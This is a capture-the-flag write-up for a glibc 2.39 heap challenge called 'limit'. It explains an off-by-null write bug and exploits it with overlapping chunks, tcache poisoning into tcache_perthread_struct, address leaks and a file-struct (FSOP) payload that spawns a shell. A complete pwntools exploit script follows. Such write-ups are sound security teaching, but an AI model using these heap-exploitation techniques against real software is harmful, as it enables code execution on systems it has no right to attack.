Challenge details

I heard you could malloc into scary places, so im adding a check to prevent that from ever happening!

limit.tar.gz

Introduction

This challenge implements a heap note system with malloc/free/print/write operations on glibc 2.39. A limit check preventing chunks above the heap boundary via sbrk(0) is present upon allocation:

1
2
3
4
5
6
7
8
9
chunks[idx] = malloc(sz);
if (chunks[idx] > limit) {
puts("hey where do you think ur going");
// if (malloc_usable_size(chunks[idx])) free(chunks[idx])
chunks[idx] = 0;
break;
}
// this will be abused later
// chunks are still allocated even if above limit, only operations are blocked

The main vulnerability is an off by null bug in the write function, overflowing a null byte into the next chunk:

1
2
3
case 4:  // write to chunks
int len = read(0, chunks[idx], (uint) sizes[idx]);
chunks[idx][len] = 0; // vuln

Furthermore, chunks are not zeroed on allocation, enabling data leaks. Standard operations include malloc up to 0xf8 bytes.

Exploitation

Exploit the off by null bug to create overlapping chunks, then leverage tcache poisoning - instead of allocating chunks beyond the boundary and trying to read and write to it, allocate a chunk inside the tcache_perthread_struct (first chunk). Abuse this primitive to leak stack and binary addresses by redirecting allocations to arbitrary memory locations and reading the entry pointer, then finally overwrite a chunk pointer in the global chunks array to point to _IO_2_1_stdout_ and perform a file struct exploit to gain shell access.

Step 1: Heap Leak

First, obtain a heap leak by abusing the fact that the chunks don’t get zeroed out on allocation:

1
2
3
free(malloc(0, 0x38))
a = malloc(0, 0x38)
heap_base = u64(print_chunk(a)[:-1].ljust(8, b'\0')) << 12

Step 2: Overlapping Chunks via Off by Null Vuln

Create overlapping chunks by abusing the off by null to modify chunk sizes:

1
2
3
4
5
6
7
8
9
10
11
b = malloc(1, 0x28)
c = malloc(2, 0xf8)

write(b, b'\0'*0x20 + p64(0x60))

write(a, flat(
0,
0x60,
heap_base + 0x2a0,
heap_base + 0x2a0,
))

Step 3: Libc Leak

Fill tcache and free to unsorted bin:

1
2
3
4
5
6
7
x = [malloc(i + 3, 0xF8) for i in range(7)]
for chunk in x:
free(chunk)

free(c)
d = malloc(3, 0xe0)
libc.address = u64(print_chunk(d)[:-1].ljust(8, b'\0')) - 0x203c70

Step 4: Writing into tcache_perthread_struct

1
2
3
4
5
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

This is the key part - poison the tcache to create a chunk inside the tcache perthread struct, specifically in the entries array:

1
2
3
4
5
6
7
8
9
pad = malloc(4, 0x28)
free(pad)
free(b)

towrite = mangle_ptr(heap_base + 0x2b0, heap_base + 0x90)
write(d, b'\0'*0x30 + p64(towrite))

malloc(5, 0x28)
tea = malloc(6, 0x28) # This chunk is over the entries array

This will allow controlling the entries for tcachebin.

Step 5: Stack and ELF Leaks

Leaking is done by allocating a chunk at an arbitrary location (the __libc_argv pointer in libc for stack leak, and an address on the stack pointing to the binary for elf leak) and reading the entry pointer from the struct.

It’s also needed to free a chunk before to satisfy this condition:

code segment image

1
2
3
4
5
6
7
8
9
free(malloc(15, 0x18))
write(tea, p64(libc.sym['__libc_argv'])) # __libc_argv is tcache aligned
malloc(7, 0x18) # 'hey where do you think ur going\n'
stack_leak = mangle_ptr(libc.sym['__libc_argv'], u64(print_chunk(tea)[:-1].ljust(8, b'\0')))

free(malloc(15, 0x18))
write(tea, p64(stack_leak - 0x48))
malloc(7, 0x18)
elf_leak = mangle_ptr(stack_leak - 0x48, u64(print_chunk(tea)[:-1].ljust(8, b'\0')))

Step 6: FSOP for RCE

Finally, overwrite a 0xf8-sized chunk pointer to point to stdout and perform FSOP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
fsop_chunk = malloc(4, 0xf8)  # a big chunk is needed to be able to fit the file struct

free(malloc(15, 0x18))
write(tea, p64(exe.sym['chunks'] + 0x20)) # idx 4 (fsop_chunk), 0xf8 sized

chunks_ptr = malloc(7, 0x18)

stdFILE = libc.sym['_IO_2_1_stdout_']
write(chunks_ptr, p64(stdFILE))

fs = FileStructure(0)
fs.flags = u64(b'\x01\x01;sh;\x00\x00')
fs.markers = libc.sym['system']
fs._lock = stdFILE + 0x10
fs._wide_data = stdFILE - 0x28
fs.unknown2 = p64(0)*2 + p64(stdFILE - 0x8) + p64(0)*3
fs.vtable = libc.sym['_IO_wfile_jumps'] - 0x20

assert len(bytes(fs)) <= 0xf8
write(fsop_chunk, bytes(fs))

This works because the memory space checking is done only when allocating chunks.

Proof

flag image

Full Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/python3
from pwn import *

context.log_level = "critical"
context.terminal = ["zellij", "action", "new-pane", "-d", "right", "-c", "--", "zsh", "-c"]

exe = context.binary = ELF("./limit_patched")
libc = exe.libc

def start(*pargs, **kwargs):
if args.REMOTE:
return remote("smiley.cat", 39321)
if args.GDB:
return exe.debug(gdbscript="continue", *pargs, **kwargs)
return exe.process(*pargs, **kwargs)

io = start(aslr=True)

####### HELPERS #######

def mangle_ptr(bin_addr, ptr):
return (bin_addr >> 12) ^ ptr

def malloc(idx, size):
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'Index: ', str(idx).encode())
io.sendlineafter(b'Size: ', str(size).encode())
return idx

def free(idx):
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'Index: ', str(idx).encode())

def print_chunk(idx):
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'Index: ', str(idx).encode())
io.recvuntil(b'Data: ')
return io.recvline()

def write(idx, data):
io.sendlineafter(b'> ', b'4')
io.sendlineafter(b'Index: ', str(idx).encode())
io.sendafter(b'Data: ', data)

####### BEGIN #######

# Heap leak
free(malloc(0, 0x38))
a = malloc(0, 0x38)
heap_base = u64(print_chunk(a)[:-1].ljust(8, b'\0')) << 12
assert heap_base > 0x100000000000, 'corrupted leak'
print('heap @ %s' % hex(heap_base))

b = malloc(1, 0x28)
c = malloc(2, 0xf8)

write(b, b'\0'*0x20 + p64(0x60))

write(a, flat(
0,
0x60,
heap_base + 0x2a0, # addr of chunk a
heap_base + 0x2a0, # addr of chunk a
))

# Fill tcache
x = [malloc(i + 3, 0xF8) for i in range(7)]
for chunk in x:
free(chunk)

# Libc leak
free(c)
d = malloc(3, 0xe0)
libc.address = u64(print_chunk(d)[:-1].ljust(8, b'\0')) - 0x203c70
assert libc.address > 0x100000000000, 'corrupted leak'
print('libc @ %s' % hex(libc.address))

# Tcache poisoning
pad = malloc(4, 0x28)
free(pad)
free(b)

towrite = mangle_ptr(heap_base + 0x2b0, heap_base + 0x90) # d addr, tcache perthread struct
write(d, b'\0'*0x30 + p64(towrite))

malloc(5, 0x28)
tea = malloc(6, 0x28)

# Stack leak
free(malloc(15, 0x18)) # for the count check
write(tea, p64(libc.sym['__libc_argv'])) # __libc_argv is tcache aligned
malloc(7, 0x18) # 'hey where do you think ur going\n'
stack_leak = mangle_ptr(libc.sym['__libc_argv'], u64(print_chunk(tea)[:-1].ljust(8, b'\0')))
assert stack_leak > 0x100000000000, 'corrupted leak'
print('stack leak @ %s' % hex(stack_leak))

# ELF leak - same way
free(malloc(15, 0x18))
write(tea, p64(stack_leak - 0x48))
malloc(7, 0x18)
elf_leak = mangle_ptr(stack_leak - 0x48, u64(print_chunk(tea)[:-1].ljust(8, b'\0')))
assert elf_leak > 0x100000000000, 'corrupted leak'
print('elf leak @ %s' % hex(elf_leak))

exe.address = elf_leak - 0x1160
print('elf @ %s' % hex(exe.address))

# FSOP exploit
fsop_chunk = malloc(4, 0xf8) # a big chunk is needed to be able to fit the file struct

free(malloc(15, 0x18))
write(tea, p64(exe.sym['chunks'] + 0x20)) # idx 4 (fsop_chunk), 0xf8 sized

chunks_ptr = malloc(7, 0x18)

stdFILE = libc.sym['_IO_2_1_stdout_']
write(chunks_ptr, p64(stdFILE))

fs = FileStructure(0)
fs.flags = u64(b'\x01\x01;sh;\x00\x00')
fs.markers = libc.sym['system']
fs._lock = stdFILE + 0x10
fs._wide_data = stdFILE - 0x28
fs.unknown2 = p64(0)*2 + p64(stdFILE - 0x8) + p64(0)*3
fs.vtable = libc.sym['_IO_wfile_jumps'] - 0x20

assert len(bytes(fs)) <= 0xf8
write(fsop_chunk, bytes(fs))

io.interactive()